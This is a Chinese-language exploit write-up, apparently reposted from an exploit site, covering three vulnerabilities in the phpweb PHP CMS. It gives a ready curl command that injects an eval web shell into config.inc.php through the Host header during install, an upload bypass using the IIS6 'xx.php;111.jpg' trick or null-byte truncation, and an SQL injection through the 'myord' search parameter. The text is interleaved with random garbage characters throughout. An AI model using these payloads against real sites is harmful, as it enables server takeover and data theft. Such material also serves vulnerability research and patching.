注入:+ {4 X1 K F% _1 ]/ K7 ^/ i5 M4 g
: S; P& B: T4 {" }; B
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 W. |! S% i1 j M, N% z/ g ) `# [' _$ C( W5 `, R7 H1 b
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件1 W6 G+ G) k3 @, `2 ]$ [4 G
鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 u: C- g* m; J# V* W
% [5 @: I5 f) E
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响) y7 c" M( s* {8 S3 e' B* w
7 Z+ I: r9 v# k ]分析:
, x( F; W) g" p+ g. `' h ! U# I& G1 s% ~, G9 G9 f+ G+ b. x! r8 N! _
& b, k* S+ F. C5 M/ ?5 I
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 S$ R+ `9 s' c; K- t
. }# _7 i: Y9 f& D& t' B $filestr = fread(fopen($SysConfigFile, 'r'),30000);) q# ?- n. h9 ^
$filestr=str_replace(" ","",$filestr);- ] \+ m1 c0 w
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& w+ ~1 I/ t* ], j& _' h p# B
$filestr=str_replace("DefaultDbName",$dbname,$filestr);1 l# z# z3 O3 p( v
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
! ]! ]# p3 E3 f4 V6 x3 ?9 ~0 t $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ K' L+ Z& q7 O* L( s
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ T+ G; U3 u/ J: O/ t2 W! U $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
% W0 I% Z4 ~) B. i+ L4 m $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 _, x& |% d4 K
+ }. I2 V* F* `5 p3 W) C1 P fwrite(fopen($ConFile,"w"),$filestr,30000);
; H; n# v" @; P6 b6 b& C7 C$ q$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 M7 ?) P3 i* ]% _3 ~3 Z' \
& Y5 E- ~7 h2 y$ F# T" h# opoc:
; `- M/ B4 }% }7 s / L9 @; p0 o0 E+ O G+ W
?
6 h. x& u$ x$ c; j1
i. m$ M( `7 t+ ]' v+ z2 u! M0 ~curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
6 t% a n# S6 V/ N) q) e$ l5 [, B% Gshell地址: /config.inc.php- r. J' ?- h! ?' a2 [2 l( z; l7 @
跟之前的 phpcms一样 需要远程数据库
/ K" M# ~/ \5 P& R3 k ( g1 U( L% P/ g9 j
——————————————————–
# Z7 J! r! g; C( d' l4 C# I% b; r上传漏洞(需要进后台):
s2 T: H7 W l7 u) G7 j% I1 m漏洞文件: /kedit/upload_cgi/upload.php6 j8 k) C5 w! Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
6 ~6 Q6 _. F8 \5 j! r : A; D5 H9 R$ M$ f. I
+ m7 s; _+ Q* a2 E5 [ F<?php
+ q' ]& V7 S0 v0 J) |" y, P define("ROOTPATH", "../../");6 F. N/ `: L6 ?; t3 a+ Z
include(ROOTPATH."includes/admin.inc.php");& q) X0 s" j) D+ l( U" ~
NeedAuth(0);( |* d2 k2 d8 ]6 C7 v9 i
% K. S, X9 A/ Z
$dt=date("Ymd",time());
N# ^! P7 h x, c3 c if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){8 ^1 j+ J, k3 f, p, T' f( ~
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( z/ G; [9 J8 o
}
4 r$ H7 g5 N' I6 {/ m. `3 a% w" u J # f6 g G' c% o6 f3 [& b
//文件保存目录路径
r! [9 M8 l( Q. d) @) y $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
) ~# F5 f( I O' { echo $save_path;: v7 u; @7 S( c: \+ ?
//文件保存目录URL
, E8 T/ U; A+ x* d $save_url = '../../'.$_POST['attachPath'].$dt.'/';
7 H" v3 @2 O# \ 6 `1 u9 H; c( D, e
//定义允许上传的文件扩展名
1 o' s. `/ c8 B o0 D+ [ $ext_arr = array('gif','jpg','png','bmp'); //限制后缀% r2 Z: G( [3 f. k8 s
5 B3 W/ g+ m, C9 I @/ V. v: k' T //最大文件大小# k6 Y1 D8 @8 F, N! D
$max_size = 1000000;
% q9 Z, k" i% q: N9 q
1 z9 G- B% J; E //更改目录权限8 v! v' G5 V( k4 D
@mkdir($save_path, 0777);- a/ |( ^- d, q. H/ K D
6 p5 H" E+ z: V: ]0 G* A/ y4 \
//文件的全部路径
+ z9 m& J7 B6 q; h $file_path = $save_path.$_POST['fileName']; //保存文件名
d7 r4 h# ?3 y7 x6 S 1 u7 `5 U; x" z- m
//文件URL- m7 {) M7 u6 V
$file_url = $save_url.$_POST['fileName'];
% d, _/ V( ~, o; u//有上传文件时3 b" [* } o4 G% }6 x$ a- a6 O! ~
if (empty($_FILES) === false) {
" d, N1 u3 d7 P& U, C # [- ^2 e7 _" F* X- `" H
//原文件名 o8 l2 i, F o# S1 r9 {# ]0 m
$file_name = $_FILES['fileData']['name'];
- d3 k- k, K `6 z //服务器上临时文件名7 I8 T i: z6 Z( p: f: N% d
$tmp_name = $_FILES['fileData']['tmp_name'];
) j4 u5 A, }5 ?8 V' W: N& b% w //文件大小2 e; e- }5 }5 V7 o! w7 E- R1 \) w
$file_size = $_FILES['fileData']['size'];: g8 V, N' R7 x9 s* G
//检查目录- a" f& k9 J6 p0 r6 J9 P
if (@is_dir($save_path) === false) {
% L: ~% ~1 y2 B/ g5 k$ P8 I6 s alert("上传目录不存在。");4 d7 r2 r4 s6 Z2 h7 V- j/ S: x
}
{( g, O1 U4 p0 W //检查目录写权限
) q3 S* H+ C& j- F9 o- t( _ if (@is_writable($save_path) === false) {- k5 w1 T( S) b8 \3 u7 E$ N Z! Z; {
alert("上传目录没有写权限。");+ v7 Z; d2 |2 z+ c2 s5 @
} [: o5 r* _* s* Z9 D2 P2 ]
//检查是否已上传
. q5 S8 |* S: M/ Q- o# N if (@is_uploaded_file($tmp_name) === false) {$ z0 \# l+ H- G9 _: P# q, |
alert("临时文件可能不是上传文件。");
0 p% Z; b4 \( W' c% x4 t8 s4 M }
4 N6 l1 j8 |, n" Z //检查文件大小
2 _; x/ L! F. U9 v if ($file_size > $max_size) {: D0 R+ w2 D9 B8 d; @
alert("上传文件大小超过限制。");
& M- @) u, K6 P% p& ? Y }1 r" V4 z# t3 W) @2 l! R
//获得文件扩展名- Z6 I( i: a, H1 _" Z
$temp_arr = explode(".", $_POST['fileName']);& D! n, |/ I# v7 b) y; Q0 V
$file_ext = array_pop($temp_arr);5 i0 {7 ^& I; R: q$ Y4 T* M
$file_ext = trim($file_ext);/ e- Z- `& v$ y: s
$file_ext = strtolower($file_ext);
$ H/ T r" `9 a' v/ X . D' \* ^- R8 r, Z- D" @
//检查扩展名 + g% p& m) m6 Y/ Y1 B
if (in_array($file_ext, $ext_arr) === false) {
0 y" w( }: @5 |" y( }0 Y! R5 y4 V alert("上传文件扩展名是不允许的扩展名。");
0 {8 i) S% e8 @ }
- J/ Z7 k" P4 x% M* d! h
- D4 x; z6 B( V6 D. T/ N$ U //移动文件 9 O5 b) _, N6 k0 m) R
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
- p, j, _4 l8 t if (move_uploaded_file($tmp_name, $file_path) === false) {
! }: N# ?" N1 E. r7 G# @ alert("上传文件失败。"); b0 B- P5 e; E" W% e( B, x
}- k" r# e1 g* I- h8 F
8 P2 {0 T$ e, p4 N
@chmod($file_path,0666);' s1 P* w. W! n4 i3 d- g
. c! d' J1 L2 x# z3 D R& y% v
?>
6 P6 c1 ^; l3 ~, e抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 f$ S2 _. k R' T6 h b
; K6 b& r8 E2 Z' O' W H0 |) x" Capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, Q% {% G% R* }( e: D7 G; O( j8 s
$ |2 a, L t' l& W( \——————————————————( C* W/ L. x9 t9 M& k
注入漏洞:# W3 Q( k- M# h
漏洞文件:search/module/search.php/ k! o! A! @4 H% V, R7 I
/search/index.php?key=1&myord=1 [sqlinjection]
8 [- R, j1 ^6 J0 B7 O9 ^
# z/ T3 `0 M) u U
0 X) a* d) u. V; I x9 B<?php- u1 ~+ p5 \: x* d% _% ~" T/ {
// ... 省略 n 行.../ E- n' \) A- E H- A
//第18行:
6 U2 j5 |1 T4 a; Y5 Y $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
9 }; B4 O5 T% h $page=htmlspecialchars($_GET["page"]);. A* W# F1 @. y! E& e
$myord=htmlspecialchars($_GET["myord"]);
( J9 m% J& I5 X1 g' D, l9 }! h3 Z
) M3 h4 q8 K! A! x. |" ?7 J1 G7 h // ... 省略 n 行...* Q: k) p1 Q! r. [# Q: i
$key,$myord 两个参数带入查询, G% x/ I# q7 {( p- ]
//第47行 $key:
2 ]0 r e- O& M; N% R" w5 g+ f
; @1 J! W3 p' y$ k2 `4 ] $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
" t9 B/ g8 J/ H* \# B
% {0 u( F' d; _9 ? Y //第197行 $myord' j8 @9 r: i; m# g# ?+ ]( ]; K
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入5 j6 j5 ]% n3 I p; p- [
5 w+ }( U/ m$ X" l0 B+ k' L2 E' h
?>8 }6 q- Z! \4 N2 R5 g( ?- z+ |
|